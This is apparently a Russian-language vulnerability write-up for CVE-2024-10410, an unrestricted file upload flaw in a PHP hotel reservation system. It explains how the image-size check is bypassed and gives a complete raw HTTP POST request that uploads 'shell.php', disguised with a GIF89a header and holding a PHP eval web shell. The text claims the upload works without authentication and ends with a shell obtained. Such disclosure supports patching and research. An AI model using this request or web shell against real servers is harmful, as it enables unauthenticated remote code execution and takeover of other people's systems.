
Эксплойт proof-of-concept для CVE-2024-10410: неограниченная загрузка файлов в Online Hotel Reservation System. Демонстрирует обход проверки изображений через внедрение GIF-заголовка для достижения удалённого выполнения кода.
Online Hotel Reservation System на PHP/MySQLi с исходным кодом | SourceCodester
В Online Hotel Reservation System была обнаружена уязвимость высокой степени риска, затрагивающая функцию загрузки файла /marimar/admin/mod_room/controller.php. Операция обхода проверки параметра изображения привела к неограниченной загрузке файлов. Атаки могут быть запущены удалённо.
marimar\admin\mod_room\controller.php

После загрузки файла переменная $image_name изменяет имя файла на текущие год, месяц и день, а затем добавляет _ и имя загруженного файла.
Уязвимость кроется в переменной $image_size, которая определяет, является ли файл изображением, и в противном случае запрещает загрузку. Поэтому всё, что нам нужно сделать, — это добавить заголовок изображения перед внедряемым вредоносным файлом, чтобы обойти проверку.
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
Вредоносному коду предшествовал GIF89a, замаскированный под gif. Сформируйте пакет загрузки — и можно увидеть, что cookie удаляется, что указывает на отсутствие аутентификации в системе и возможность удалённого запуска атак.

Несмотря на предупреждение, файл был успешно загружен, а имя файла было определено на основе текущего времени 2024/10/25 21:55.


Успешное получение shell.